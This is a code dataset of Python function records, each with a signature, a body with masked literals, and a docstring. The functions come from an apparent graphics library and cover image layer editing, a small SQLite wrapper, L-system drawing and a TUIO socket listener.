{"signature": "def mask(self):", "body": "if len(self.canvas.layers) < <NUM_LIT:2>: return<EOL>i = self.index()<EOL>if i == <NUM_LIT:0>: return<EOL>layer = self.canvas.layers[i-<NUM_LIT:1>]<EOL>alpha = Image.new(\"<STR_LIT:L>\", layer.img.size, <NUM_LIT:0>)<EOL>mask = self.canvas.layers[i]        <EOL>flat = ImageChops.darker(mask.img.convert(\"<STR_LIT:L>\"), mask.img.split()[<NUM_LIT:3>])<EOL>alpha.paste(flat, (mask.x,mask.y))<EOL>alpha = ImageChops.darker(alpha, layer.img.split()[<NUM_LIT:3>])<EOL>layer.img.putalpha(alpha)<EOL>self.delete()<EOL>", "docstring": "Masks the layer below with this layer.\n\n        Commits the current layer to the alpha channel of \n        the previous layer. Primarily, mask() is useful when \n        using gradient layers as masks on images below. \n\n        For example:\n        canvas.layer(\"image.jpg\")\n        canvas.gradient()\n        canvas.layer(2).flip()\n        canvas.layer(2).mask()\n\n        Adds a white-to-black linear gradient to\n        the alpha channel of image.jpg, \n        making it evolve from opaque on \n        the left to transparent on the right.", "id": "f11554:c2:m8"}
{"signature": "def duplicate(self):", "body": "i = self.canvas.layer(self.img.copy(), self.x, self.y, self.name)<EOL>clone = self.canvas.layers[i]<EOL>clone.alpha = self.alpha<EOL>clone.blend = self.blend<EOL>", "docstring": "Creates a copy of the current layer.\n\n        This copy becomes the top layer on the canvas.", "id": "f11554:c2:m9"}
{"signature": "def brightness(self, value=<NUM_LIT:1.0>):", "body": "b = ImageEnhance.Brightness(self.img) <EOL>self.img = b.enhance(value)<EOL>", "docstring": "Increases or decreases the brightness in the layer.\n\n        The given value is a percentage to increase\n        or decrease the image brightness,\n        for example 0.8 means brightness at 80%.", "id": "f11554:c2:m16"}
{"signature": "def contrast(self, value=<NUM_LIT:1.0>):", "body": "c = ImageEnhance.Contrast(self.img) <EOL>self.img = c.enhance(value)<EOL>", "docstring": "Increases or decreases the contrast in the layer.\n\n        The given value is a percentage to increase\n        or decrease the image contrast,\n        for example 1.2 means contrast at 120%.", "id": "f11554:c2:m17"}
{"signature": "def desaturate(self):", "body": "alpha = self.img.split()[<NUM_LIT:3>]<EOL>self.img = self.img.convert(\"<STR_LIT:L>\")<EOL>self.img = self.img.convert(\"<STR_LIT>\")<EOL>self.img.putalpha(alpha)<EOL>", "docstring": "Desaturates the layer, making it grayscale.\n\n        Instantly removes all color information from the layer,\n        while maintaing its alpha channel.", "id": "f11554:c2:m18"}
{"signature": "def invert(self):", "body": "alpha = self.img.split()[<NUM_LIT:3>]<EOL>self.img = self.img.convert(\"<STR_LIT>\")<EOL>self.img = ImageOps.invert(self.img)<EOL>self.img = self.img.convert(\"<STR_LIT>\")<EOL>self.img.putalpha(alpha)<EOL>", "docstring": "Inverts the layer.", "id": "f11554:c2:m19"}
{"signature": "def translate(self, x, y):", "body": "self.x = x<EOL>self.y = y<EOL>", "docstring": "Positions the layer at the given coordinates.\n\n        The x and y parameters define where to position \n        the top left corner of the layer,\n        measured from the top left of the canvas.", "id": "f11554:c2:m20"}
{"signature": "def scale(self, w=<NUM_LIT:1.0>, h=<NUM_LIT:1.0>):", "body": "from types import FloatType<EOL>w0, h0 = self.img.size<EOL>if type(w) == FloatType: w = int(w*w0)<EOL>if type(h) == FloatType: h = int(h*h0)<EOL>self.img = self.img.resize((w,h), INTERPOLATION)<EOL>self.w = w<EOL>self.h = h<EOL>", "docstring": "Resizes the layer to the given width and height.\n\n        When width w or height h is a floating-point number,\n        scales percentual, \n        otherwise scales to the given size in pixels.", "id": "f11554:c2:m21"}
{"signature": "def distort(self, x1=<NUM_LIT:0>,y1=<NUM_LIT:0>, x2=<NUM_LIT:0>,y2=<NUM_LIT:0>, x3=<NUM_LIT:0>,y3=<NUM_LIT:0>, x4=<NUM_LIT:0>,y4=<NUM_LIT:0>):", "body": "w, h = self.img.size<EOL>quad = (-x1,-y1, -x4,h-y4, w-x3,w-y3, w-x2,-y2)<EOL>self.img = self.img.transform(self.img.size, Image.QUAD, quad, INTERPOLATION)<EOL>", "docstring": "Distorts the layer.\n\n        Distorts the layer by translating \n        the four corners of its bounding box to the given coordinates:\n        upper left (x1,y1), upper right(x2,y2),\n        lower right (x3,y3) and lower left (x4,y4).", "id": "f11554:c2:m22"}
{"signature": "def rotate(self, angle):", "body": "<EOL>from math import sqrt, pow, sin, cos, degrees, radians, asin<EOL>w0, h0 = self.img.size<EOL>d = sqrt(pow(w0,<NUM_LIT:2>) + pow(h0,<NUM_LIT:2>))<EOL>d_angle = degrees(asin((w0*<NUM_LIT:0.5>) / (d*<NUM_LIT:0.5>)))<EOL>angle = angle % <NUM_LIT><EOL>if angle > <NUM_LIT> and angle <= <NUM_LIT>: d_angle += <NUM_LIT><EOL>w = sin(radians(d_angle + angle)) * d<EOL>w = max(w, sin(radians(d_angle - angle)) * d)<EOL>w = int(abs(w))<EOL>h = cos(radians(d_angle + angle)) * d<EOL>h = max(h, cos(radians(d_angle - angle)) * d)<EOL>h = int(abs(h))<EOL>dx = int((w-w0) / <NUM_LIT:2>)<EOL>dy = int((h-h0) / <NUM_LIT:2>)<EOL>d = int(d)<EOL>bg = ImageStat.Stat(self.img).mean<EOL>bg = (int(bg[<NUM_LIT:0>]), int(bg[<NUM_LIT:1>]), int(bg[<NUM_LIT:2>]), <NUM_LIT:0>)<EOL>box = Image.new(\"<STR_LIT>\", (d,d), bg)<EOL>box.paste(self.img, ((d-w0)/<NUM_LIT:2>, (d-h0)/<NUM_LIT:2>))<EOL>box = box.rotate(angle, INTERPOLATION)<EOL>box = box.crop(((d-w)/<NUM_LIT:2>+<NUM_LIT:2>, (d-h)/<NUM_LIT:2>, d-(d-w)/<NUM_LIT:2>, d-(d-h)/<NUM_LIT:2>))<EOL>self.img = box<EOL>self.x += (self.w-w)/<NUM_LIT:2><EOL>self.y += (self.h-h)/<NUM_LIT:2><EOL>self.w = w<EOL>self.h = h<EOL>", "docstring": "Rotates the layer.\n\n        Rotates the layer by given angle.\n        Positive numbers rotate counter-clockwise,\n        negative numbers rotate clockwise.\n\n        Rotate commands are executed instantly,\n        so many subsequent rotates will distort the image.", "id": "f11554:c2:m23"}
{"signature": "def flip(self, axis=HORIZONTAL):", "body": "if axis == HORIZONTAL:<EOL><INDENT>self.img = self.img.transpose(Image.FLIP_LEFT_RIGHT)<EOL><DEDENT>if axis == VERTICAL:<EOL><INDENT>self.img = self.img.transpose(Image.FLIP_TOP_BOTTOM)<EOL><DEDENT>", "docstring": "Flips the layer, either HORIZONTAL or VERTICAL.", "id": "f11554:c2:m24"}
{"signature": "def blur(self):", "body": "self.img = self.img.filter(ImageFilter.BLUR)<EOL>", "docstring": "Blurs the layer.", "id": "f11554:c2:m25"}
{"signature": "def sharpen(self, value=<NUM_LIT:1.0>):", "body": "s = ImageEnhance.Sharpness(self.img) <EOL>self.img = s.enhance(value)<EOL>", "docstring": "Increases or decreases the sharpness in the layer.\n\n        The given value is a percentage to increase\n        or decrease the image sharpness,\n        for example 0.8 means sharpness at 80%.", "id": "f11554:c2:m26"}
{"signature": "def levels(self):", "body": "h = self.img.histogram()<EOL>r = h[<NUM_LIT:0>:<NUM_LIT:255>]<EOL>g = h[<NUM_LIT>:<NUM_LIT>]<EOL>b = h[<NUM_LIT>:<NUM_LIT>]<EOL>a = h[<NUM_LIT>:<NUM_LIT>]<EOL>return r, g, b, a<EOL>", "docstring": "Returns a histogram for each RGBA channel.\n\n        Returns a 4-tuple of lists, r, g, b, and a.\n        Each list has 255 items, a count for each pixel value.", "id": "f11554:c2:m28"}
{"signature": "def overlay(self, img1, img2):", "body": "p1 = list(img1.getdata())<EOL>p2 = list(img2.getdata())<EOL>for i in range(len(p1)):<EOL><INDENT>p3 = ()<EOL>for j in range(len(p1[i])):<EOL><INDENT>a = p1[i][j] / <NUM_LIT><EOL>b = p2[i][j] / <NUM_LIT><EOL>if j == <NUM_LIT:3>:<EOL><INDENT>d = min(a,b)<EOL><DEDENT>elif a > <NUM_LIT:0.5>: <EOL><INDENT>d = <NUM_LIT:2>*(a+b-a*b)-<NUM_LIT:1><EOL><DEDENT>else: <EOL><INDENT>d = <NUM_LIT:2>*a*b            <EOL><DEDENT>p3 += (int(d*<NUM_LIT:255>),)<EOL><DEDENT>p1[i] = p3<EOL><DEDENT>img = Image.new(\"<STR_LIT>\", img1.size, <NUM_LIT:255>)<EOL>img.putdata(p1)<EOL>return img<EOL>", "docstring": "Applies the overlay blend mode.\n\n        Overlays image img2 on image img1.\n        The overlay pixel combines multiply and screen:\n        it multiplies dark pixels values and screen light values.\n        Returns a composite image with the alpha channel retained.", "id": "f11554:c3:m0"}
{"signature": "def hue(self, img1, img2):", "body": "import colorsys<EOL>p1 = list(img1.getdata())<EOL>p2 = list(img2.getdata())<EOL>for i in range(len(p1)):<EOL><INDENT>r1, g1, b1, a1 = p1[i]<EOL>r1 = r1 / <NUM_LIT><EOL>g1 = g1 / <NUM_LIT><EOL>b1 = b1 / <NUM_LIT><EOL>h1, s1, v1 = colorsys.rgb_to_hsv(r1, g1, b1)<EOL>r2, g2, b2, a2 = p2[i]<EOL>r2 = r2 / <NUM_LIT><EOL>g2 = g2 / <NUM_LIT><EOL>b2 = b2 / <NUM_LIT><EOL>h2, s2, v2 = colorsys.rgb_to_hsv(r2, g2, b2)<EOL>r3, g3, b3 = colorsys.hsv_to_rgb(h2, s1, v1)<EOL>r3 = int(r3*<NUM_LIT:255>)<EOL>g3 = int(g3*<NUM_LIT:255>)<EOL>b3 = int(b3*<NUM_LIT:255>)<EOL>p1[i] = (r3, g3, b3, a1)<EOL><DEDENT>img = Image.new(\"<STR_LIT>\", img1.size, <NUM_LIT:255>)<EOL>img.putdata(p1)<EOL>return img<EOL>", "docstring": "Applies the hue blend mode.\n\n        Hues image img1 with image img2.\n        The hue filter replaces the hues of pixels in img1\n        with the hues of pixels in img2.\n        Returns a composite image with the alpha channel retained.", "id": "f11554:c3:m1"}
{"signature": "def color(self, img1, img2):", "body": "import colorsys<EOL>p1 = list(img1.getdata())<EOL>p2 = list(img2.getdata())<EOL>for i in range(len(p1)):<EOL><INDENT>r1, g1, b1, a1 = p1[i]<EOL>r1 = r1 / <NUM_LIT><EOL>g1 = g1 / <NUM_LIT><EOL>b1 = b1 / <NUM_LIT><EOL>h1, s1, v1 = colorsys.rgb_to_hsv(r1, g1, b1)<EOL>r2, g2, b2, a2 = p2[i]<EOL>r2 = r2 / <NUM_LIT><EOL>g2 = g2 / <NUM_LIT><EOL>b2 = b2 / <NUM_LIT><EOL>h2, s2, v2 = colorsys.rgb_to_hsv(r2, g2, b2)<EOL>r3, g3, b3 = colorsys.hsv_to_rgb(h2, s2, v1)<EOL>r3 = int(r3*<NUM_LIT:255>)<EOL>g3 = int(g3*<NUM_LIT:255>)<EOL>b3 = int(b3*<NUM_LIT:255>)<EOL>p1[i] = (r3, g3, b3, a1)<EOL><DEDENT>img = Image.new(\"<STR_LIT>\", img1.size, <NUM_LIT:255>)<EOL>img.putdata(p1)<EOL>return img<EOL>", "docstring": "Applies the color blend mode.\n\n        Colorize image img1 with image img2.\n        The color filter replaces the hue and saturation of pixels in img1\n        with the hue and saturation of pixels in img2.\n        Returns a composite image with the alpha channel retained.", "id": "f11554:c3:m2"}
{"signature": "def convolute(self, kernel, scale=None, offset=<NUM_LIT:0>):", "body": "if len(kernel)   ==  <NUM_LIT:9>: size = (<NUM_LIT:3>,<NUM_LIT:3>)<EOL>elif len(kernel) == <NUM_LIT>: size = (<NUM_LIT:5>,<NUM_LIT:5>)<EOL>else: return<EOL>if scale == None:<EOL><INDENT>scale = <NUM_LIT:0><EOL>for x in kernel: scale += x<EOL>if scale == <NUM_LIT:0>: scale = <NUM_LIT:1><EOL><DEDENT>f = ImageFilter.BuiltinFilter()<EOL>f.filterargs = size, scale, offset, kernel<EOL>self.layer.img = self.layer.img.filter(f)<EOL>", "docstring": "A (3,3) or (5,5) convolution kernel.\n\n        The kernel argument is a list with either 9 or 25 elements,\n        the weight for each surrounding pixels to convolute.", "id": "f11554:c4:m6"}
{"signature": "def connect(self, name):", "body": "self._name = name.rstrip(\"<STR_LIT>\")<EOL>self._con = sqlite.connect(self._name + \"<STR_LIT>\")<EOL>self._cur = self._con.cursor()<EOL>self._tables = []<EOL>self._cur.execute(\"<STR_LIT>\")<EOL>for r in self._cur: self._tables.append(r[<NUM_LIT:0>])<EOL>self._indices = []<EOL>self._cur.execute(\"<STR_LIT>\")<EOL>for r in self._cur: self._indices.append(r[<NUM_LIT:0>])<EOL>for t in self._tables:<EOL><INDENT>self._cur.execute(\"<STR_LIT>\"+t+\"<STR_LIT:)>\")<EOL>fields = []<EOL>key = \"<STR_LIT>\"<EOL>for r in self._cur:<EOL><INDENT>fields.append(r[<NUM_LIT:1>])<EOL>if r[<NUM_LIT:2>] == \"<STR_LIT>\": key = r[<NUM_LIT:1>]<EOL><DEDENT>setattr(self, t, Table(self, t, key, fields))<EOL><DEDENT>", "docstring": "Generic database.\n\n        Opens the SQLite database with the given name.\n        The .db extension is automatically appended to the name.\n        For each table in the database an attribute is created,\n        and assigned a Table object.\n\n        You can do: database.table or database[table].", "id": "f11555:c0:m1"}
{"signature": "def create(self, name, overwrite=True):", "body": "self._name = name.rstrip(\"<STR_LIT>\")<EOL>from os import unlink<EOL>if overwrite: <EOL><INDENT>try: unlink(self._name + \"<STR_LIT>\")<EOL>except: pass       <EOL><DEDENT>self._con = sqlite.connect(self._name + \"<STR_LIT>\")<EOL>self._cur = self._con.cursor()<EOL>", "docstring": "Creates an SQLite database file.\n\n        Creates an SQLite database with the given name.\n        The .box file extension is added automatically.\n        Overwrites any existing database by default.", "id": "f11555:c0:m2"}
{"signature": "def create_table(self, name, fields=[], key=\"<STR_LIT:id>\"):", "body": "for f in fields: <EOL><INDENT>if f == key: fields.remove(key)<EOL><DEDENT>sql  = \"<STR_LIT>\"+name+\"<STR_LIT:U+0020>\"<EOL>sql += \"<STR_LIT:(>\"+key+\"<STR_LIT>\"<EOL>for f in fields: sql += \"<STR_LIT:U+002CU+0020>\"+f+\"<STR_LIT>\"<EOL>sql += \"<STR_LIT:)>\"<EOL>self._cur.execute(sql)<EOL>self._con.commit()<EOL>self.index(name, key, unique=True)<EOL>self.connect(self._name)<EOL>", "docstring": "Creates a new table.\n\n        Creates a table with the given name,\n        containing the list of given fields.\n        Since SQLite uses manifest typing, no data type need be supplied.\n        The primary key is \"id\" by default,\n        an integer that can be set or otherwise autoincrements.", "id": "f11555:c0:m6"}
{"signature": "def create_index(self, table, field, unique=False, ascending=True):", "body": "if unique: u = \"<STR_LIT>\"<EOL>else: u = \"<STR_LIT>\"<EOL>if ascending: a = \"<STR_LIT>\"<EOL>else: a = \"<STR_LIT>\"<EOL>sql  = \"<STR_LIT>\"+u+\"<STR_LIT>\"+table+\"<STR_LIT:_>\"+field+\"<STR_LIT:U+0020>\"<EOL>sql += \"<STR_LIT>\"+table+\"<STR_LIT:(>\"+field+\"<STR_LIT:U+0020>\"+a+\"<STR_LIT:)>\"<EOL>self._cur.execute(sql)<EOL>self._con.commit()<EOL>", "docstring": "Creates a table index.\n\n        Creates an index on the given table,\n        on the given field with unique values enforced or not,\n        in ascending or descending order.", "id": "f11555:c0:m7"}
{"signature": "def commit(self, each=<NUM_LIT:0>):", "body": "self._commit = each<EOL>self._con.commit()<EOL>", "docstring": "Sets the commit frequency.\n\n        Modifications to the database,\n        e.g. row insertions are commited in batch,\n        specified by the given number.\n        A number that is reasonably high allows for faster transactions.\n        Commits anything still pending.", "id": "f11555:c0:m8"}
{"signature": "def close(self):", "body": "self._con.commit()<EOL>self._cur.close()<EOL>self._con.close()<EOL>", "docstring": "Commits any pending transactions and closes the database.", "id": "f11555:c0:m9"}
{"signature": "def sql(self, sql):", "body": "self._cur.execute(sql)<EOL>if sql.lower().find(\"<STR_LIT>\") >= <NUM_LIT:0>:<EOL><INDENT>matches = []<EOL>for r in self._cur: matches.append(r)<EOL>return matches<EOL><DEDENT>", "docstring": "Executes a raw SQL statement on the database.", "id": "f11555:c0:m10"}
{"signature": "def dump(self, ext=\"<STR_LIT>\"):", "body": "self._con.commit()<EOL>if ext == \"<STR_LIT>\":<EOL><INDENT>return self._dump_xml()<EOL><DEDENT>", "docstring": "Dumps the data in the tables into another format (like XML).", "id": "f11555:c0:m11"}
{"signature": "def __init__(self, db, name, key, fields):", "body": "self._db = db<EOL>self._name = name<EOL>self._key = key<EOL>self._fields = fields<EOL>for f in self._fields:<EOL><INDENT>import new<EOL>im = lambda t, q, operator=\"<STR_LIT:=>\", fields=\"<STR_LIT:*>\", _field=f: t.find(q, operator, fields, _field)<EOL>setattr(self, f, new.instancemethod(im, self, None))<EOL><DEDENT>", "docstring": "Generic table.\n\n        Constructs a table with the given name, primary key and columns.\n        Each of the column names becomes the name of a table method\n        that fetches rows from the table.\n\n        For example, a table with an id field has the following method:\n        table.id(query, operator=\"=\")", "id": "f11555:c1:m0"}
{"signature": "def __len__(self):", "body": "sql = \"<STR_LIT>\"+self._key+\"<STR_LIT>\"+self._name<EOL>self._db._cur.execute(sql)<EOL>i = <NUM_LIT:0><EOL>for r in self._db._cur: i += <NUM_LIT:1><EOL>return i<EOL>", "docstring": "The row count of the table. This should be optimized.", "id": "f11555:c1:m2"}
{"signature": "def find(self, q, operator=\"<STR_LIT:=>\", fields=\"<STR_LIT:*>\", key=None):", "body": "if key == None: key = self._key<EOL>if fields != \"<STR_LIT:*>\": fields = \"<STR_LIT:U+002CU+0020>\".join(fields)<EOL>try: q = unicode(q)<EOL>except: pass<EOL>if q != \"<STR_LIT:*>\" and (q[<NUM_LIT:0>] == \"<STR_LIT:*>\" or q[-<NUM_LIT:1>] == \"<STR_LIT:*>\"):<EOL><INDENT>if q[<NUM_LIT:0>]  == \"<STR_LIT:*>\": q = \"<STR_LIT:%>\"+q.lstrip(\"<STR_LIT:*>\")<EOL>if q[-<NUM_LIT:1>] == \"<STR_LIT:*>\": q = q.rstrip(\"<STR_LIT:*>\")+\"<STR_LIT:%>\"<EOL>operator = \"<STR_LIT>\"<EOL><DEDENT>if q != \"<STR_LIT:*>\":<EOL><INDENT>sql = \"<STR_LIT>\"+fields+\"<STR_LIT>\"+self._name+\"<STR_LIT>\"+key+\"<STR_LIT:U+0020>\"+operator+\"<STR_LIT>\"<EOL>self._db._cur.execute(sql, (q,))<EOL><DEDENT>else:<EOL><INDENT>sql = \"<STR_LIT>\"+fields+\"<STR_LIT>\"+self._name<EOL>self._db._cur.execute(sql)<EOL><DEDENT>matches = []<EOL>for r in self._db._cur: matches.append(r)<EOL>return matches<EOL>", "docstring": "A simple SQL SELECT query.\n\n        Retrieves all rows from the table \n        where the given query value is found in the given column (primary key if None).\n        A different comparison operator (e.g. >, <, like) can be set.\n        The wildcard character is * and automatically sets the operator to \"like\".\n        Optionally, the fields argument can be a list of column names to select.\n        Returns a list of row tuples containing fields.", "id": "f11555:c1:m3"}
{"signature": "def all(self):", "body": "return self.find(\"<STR_LIT:*>\")<EOL>", "docstring": "Returns all the rows in the table.", "id": "f11555:c1:m4"}
{"signature": "def fields(self):", "body": "return self._fields<EOL>", "docstring": "Returns the column names.\n\n        Returns the name of each column in the database,\n        in the same order row fields are returned from find().", "id": "f11555:c1:m5"}
{"signature": "def append(self, *args, **kw):", "body": "if args and kw: <EOL><INDENT>return<EOL><DEDENT>if args and type(args[<NUM_LIT:0>]) == dict:<EOL><INDENT>fields = [k for k in args[<NUM_LIT:0>]]<EOL>v = [args[<NUM_LIT:0>][k] for k in args[<NUM_LIT:0>]]<EOL><DEDENT>if kw:<EOL><INDENT>fields = [k for k in kw]<EOL>v = [kw[k] for k in kw]<EOL><DEDENT>q = \"<STR_LIT:U+002CU+0020>\".join([\"<STR_LIT:?>\" for x in fields])<EOL>sql  = \"<STR_LIT>\"+self._name+\"<STR_LIT>\"+\"<STR_LIT:U+002CU+0020>\".join(fields)+\"<STR_LIT>\"<EOL>sql += \"<STR_LIT>\"+q+\"<STR_LIT:)>\"<EOL>self._db._cur.execute(sql, v)<EOL>self._db._i += <NUM_LIT:1><EOL>if self._db._i >= self._db._commit:<EOL><INDENT>self._db._i = <NUM_LIT:0><EOL>self._db._con.commit()<EOL><DEDENT>", "docstring": "Adds a new row to a table.\n\n        Adds a row to the given table.\n        The column names and their corresponding values\n        must either be supplied as a dictionary of {fields:values},\n        or a series of keyword arguments of field=value style.", "id": "f11555:c1:m6"}
{"signature": "def edit(self, id, *args, **kw):", "body": "if args and kw: <EOL><INDENT>return<EOL><DEDENT>if args and type(args[<NUM_LIT:0>]) == dict:<EOL><INDENT>fields = [k for k in args[<NUM_LIT:0>]]<EOL>v = [args[<NUM_LIT:0>][k] for k in args[<NUM_LIT:0>]]<EOL><DEDENT>if kw:<EOL><INDENT>fields = [k for k in kw]<EOL>v = [kw[k] for k in kw]<EOL><DEDENT>sql  = \"<STR_LIT>\"+self._name+\"<STR_LIT>\"+\"<STR_LIT>\".join(fields)+\"<STR_LIT>\"+self._key+\"<STR_LIT:=>\"+unicode(id)<EOL>self._db._cur.execute(sql, v)<EOL>self._db._i += <NUM_LIT:1><EOL>if self._db._i >= self._db._commit:<EOL><INDENT>self._db._i = <NUM_LIT:0><EOL>self._db._con.commit()<EOL><DEDENT>", "docstring": "Edits the row with given id.", "id": "f11555:c1:m7"}
{"signature": "def remove(self, id, operator=\"<STR_LIT:=>\", key=None):", "body": "if key == None: key = self._key<EOL>try: id = unicode(id)<EOL>except: pass        <EOL>sql = \"<STR_LIT>\"+self._name+\"<STR_LIT>\"+key+\"<STR_LIT:U+0020>\"+operator+\"<STR_LIT>\"<EOL>self._db._cur.execute(sql, (id,))<EOL>", "docstring": "Deletes the row with given id.", "id": "f11555:c1:m8"}
{"signature": "def _reset(self):", "body": "self._segments = <NUM_LIT:0><EOL>self._duration = <NUM_LIT:0><EOL>", "docstring": "Resets the number of drawn segments and the duration.\n\n        To calculate the number of segments or the total time needed,\n        we need to recurse through LSystem._grow().\n        Before that, the draw(), segments() and duration() command\n        will reset both tally variables.", "id": "f11556:c0:m3"}
{"signature": "def _grow(self, generation, rule, angle, length, time=maxint, draw=True):", "body": "if generation == <NUM_LIT:0>:<EOL><INDENT>self._duration = <NUM_LIT:1> + maxint-time<EOL><DEDENT>if length <= self.threshold:<EOL><INDENT>self._duration = <NUM_LIT:1> + maxint-time<EOL>return<EOL><DEDENT>if rule in self.commands:<EOL><INDENT>self.commands[rule](self, generation, rule, angle, length, time)<EOL><DEDENT>if draw:<EOL><INDENT>if rule == \"<STR_LIT:f>\":<EOL><INDENT>_ctx.translate(<NUM_LIT:0>, -min(length, length*time))<EOL><DEDENT>elif rule == \"<STR_LIT:->\":<EOL><INDENT>_ctx.rotate(max(-angle, -angle*time))<EOL><DEDENT>elif rule == \"<STR_LIT:+>\":<EOL><INDENT>_ctx.rotate(min(+angle, +angle*time))<EOL><DEDENT>elif rule == \"<STR_LIT:|>\":<EOL><INDENT>_ctx.rotate(<NUM_LIT>)<EOL><DEDENT>elif rule == \"<STR_LIT:[>\":<EOL><INDENT>_ctx.push()<EOL><DEDENT>elif rule == \"<STR_LIT:]>\":<EOL><INDENT>_ctx.pop()<EOL><DEDENT><DEDENT>if rule in self.rulesand generation > <NUM_LIT:0>and time > <NUM_LIT:0>:<EOL><INDENT>for cmd in self.rules[rule]:<EOL><INDENT>if cmd == \"<STR_LIT:F>\":<EOL><INDENT>time -= self.cost<EOL><DEDENT>elif cmd == \"<STR_LIT:!>\":<EOL><INDENT>angle = -angle<EOL><DEDENT>elif cmd == \"<STR_LIT:(>\":<EOL><INDENT>angle *= <NUM_LIT><EOL><DEDENT>elif cmd == \"<STR_LIT:)>\":<EOL><INDENT>angle *= <NUM_LIT><EOL><DEDENT>elif cmd == \"<STR_LIT:<>\":<EOL><INDENT>length *= <NUM_LIT><EOL><DEDENT>elif cmd == \"<STR_LIT:>>\":<EOL><INDENT>length *= <NUM_LIT><EOL><DEDENT>self._grow(<EOL>generation-<NUM_LIT:1>,<EOL>cmd,<EOL>angle,<EOL>length*self.decrease,<EOL>time,<EOL>draw<EOL>)<EOL><DEDENT><DEDENT>elif rule == \"<STR_LIT:F>\"or (rule in self.rules and self.rules[rule] == \"<STR_LIT>\"):<EOL><INDENT>self._segments += <NUM_LIT:1><EOL>if draw and time > <NUM_LIT:0>:<EOL><INDENT>length = min(length, length*time)<EOL>if self._timed:<EOL><INDENT>self.segment(length, generation, time, id=self._segments)<EOL><DEDENT>else:<EOL><INDENT>self.segment(length, generation, None, id=self._segments)<EOL><DEDENT>_ctx.translate(<NUM_LIT:0>, -length)<EOL><DEDENT><DEDENT>", "docstring": "Recurse through the system.\n\n        When a segment is drawn, the LSsytem.segment() method will be called.\n        You can customize this method to create your own visualizations.\n        It takes an optional time parameter. \n\n        If you divide this parameter by LSsytem.duration() you get \n        a number between 0.0 and 1.0 you can use as an alpha value for example.\n\n        The method also has an id parameter which is a unique number \n        between 0 and LSystem.segments.", "id": "f11556:c0:m4"}
{"signature": "def draw(self, x, y, generation, time=None, ease=None):", "body": "angle = self.angle<EOL>if time is not None and ease:<EOL><INDENT>angle = min(self.angle, self.angle * time / ease)<EOL><DEDENT>self._timed = True<EOL>if not time:<EOL><INDENT>self._timed = False<EOL>time = maxint<EOL><DEDENT>mode = _ctx.transform()<EOL>_ctx.transform(CORNER)<EOL>_ctx.push()<EOL>_ctx.translate(x, y)<EOL>self._reset()<EOL>self._grow(generation, self.root, angle, self.d, time, draw=True)<EOL>_ctx.pop()<EOL>_ctx.transform(mode)<EOL>", "docstring": "Draws a number of generations at the given position.\n\n        The time parameter can be used to progress the system in an animatiom.\n        As time nears LSystem.duration(generation), more segments will be drawn.\n\n        The ease parameter can be used to gradually increase the branching angle\n        as more segments are drawn.", "id": "f11556:c0:m6"}
{"signature": "def segments(self, generation, time=None):", "body": "if not time:<EOL><INDENT>time = maxint<EOL><DEDENT>_ctx.push()<EOL>self._reset()<EOL>self._grow(generation, self.root, self.angle, self.d, time, draw=False)<EOL>_ctx.pop()<EOL>return self._segments<EOL>", "docstring": "Returns the number of segments drawn for a number of generations.\n\n        The number of segments that are drawn to the screen\n        depends of the number of generations and the amount of time.\n        Each F command has a cost that depletes time.\n        Segments will stop being drawn if generation reaches 0,\n        when there is no time left \n        or when the segment length falls below LSystem.threshold.", "id": "f11556:c0:m7"}
{"signature": "def duration(self, generation):", "body": "_ctx.push()<EOL>self._reset()<EOL>self._grow(generation, self.root, self.angle, self.d, draw=False)<EOL>_ctx.pop()<EOL>return max(self._duration, <NUM_LIT:0.1>)<EOL>", "docstring": "Returns the total draw time needed based on the current cost.\n\n        In an animation, the system will expand as time progresses.\n        Each F command that draws a segment has a cost that depletes time.\n        To calculate the total amount of time for a number of generations,\n        we need to recurse through the system.\n        Time does not flow through the system linearly, \n        it \"branches\" from generation to generation.", "id": "f11556:c0:m8"}
{"signature": "def update(self):", "body": "raise NotImplementedError<EOL>", "docstring": "The method which gets executed when a new state of the object was\nreceived.", "id": "f11557:c1:m2"}
{"signature": "def _label(self):", "body": "raise NotImplementedError<EOL>", "docstring": "The text that should be shown in the object reprentation.", "id": "f11557:c1:m3"}
{"signature": "def open_socket(self):", "body": "self.socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)<EOL>self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, <NUM_LIT:1>)<EOL>self.socket.setblocking(<NUM_LIT:0>)<EOL>self.socket.bind((self.host, self.port))<EOL>", "docstring": "Opens the socket and binds to the given host and port. Uses\nSO_REUSEADDR to be as robust as possible.", "id": "f11560:c1:m1"}
{"signature": "def close_socket(self):", "body": "self.socket.close()<EOL>", "docstring": "Closes the socket connection", "id": "f11560:c1:m2"}
{"signature": "def refreshed(self):", "body": "return self.current_frame >= self.last_frame<EOL>", "docstring": "Returns True if there was a new frame", "id": "f11560:c1:m3"}
{"signature": "def load_profiles(self):", "body": "_profiles = {}<EOL>for name, klass in inspect.getmembers(profiles):<EOL><INDENT>if inspect.isclass(klass) and name.endswith('<STR_LIT>') and name != '<STR_LIT>':<EOL><INDENT>profile = klass()<EOL>_profiles[profile.address] = profile<EOL>try:<EOL><INDENT>setattr(self, profile.list_label, profile.objs)<EOL><DEDENT>except AttributeError:<EOL><INDENT>continue<EOL><DEDENT>self.manager.add(self.callback, profile.address)<EOL><DEDENT><DEDENT>return _profiles<EOL>", "docstring": "Loads all possible TUIO profiles and returns a dictionary with the\nprofile addresses as keys and an instance of a profile as the value", "id": "f11560:c1:m4"}
{"signature": "def get_profile(self, profile):", "body": "return self.profiles.get(profile, None)<EOL>", "docstring": "Returns a specific profile from the profile list and otherwise None", "id": "f11560:c1:m5"}
{"signature": "def get_helpers(self):", "body": "return list([profile.list_label for profile in self.profiles.values()])<EOL>", "docstring": "Returns a list of helper functions that provide access to the\n        objects of each profile.", "id": "f11560:c1:m6"}
{"signature": "def update(self):", "body": "try:<EOL><INDENT>self.manager.handle(self.socket.recv(<NUM_LIT>))<EOL><DEDENT>except socket.error:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Tells the connection manager to receive the next 1024 byte of messages\nto analyze.", "id": "f11560:c1:m7"}
{"signature": "def callback(self, *incoming):", "body": "message = incoming[<NUM_LIT:0>]<EOL>if message:<EOL><INDENT>address, command = message[<NUM_LIT:0>], message[<NUM_LIT:2>]<EOL>profile = self.get_profile(address)<EOL>if profile is not None:<EOL><INDENT>try:<EOL><INDENT>getattr(profile, command)(self, message)<EOL><DEDENT>except AttributeError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Gets called by the CallbackManager if a new message was received", "id": "f11560:c1:m8"}
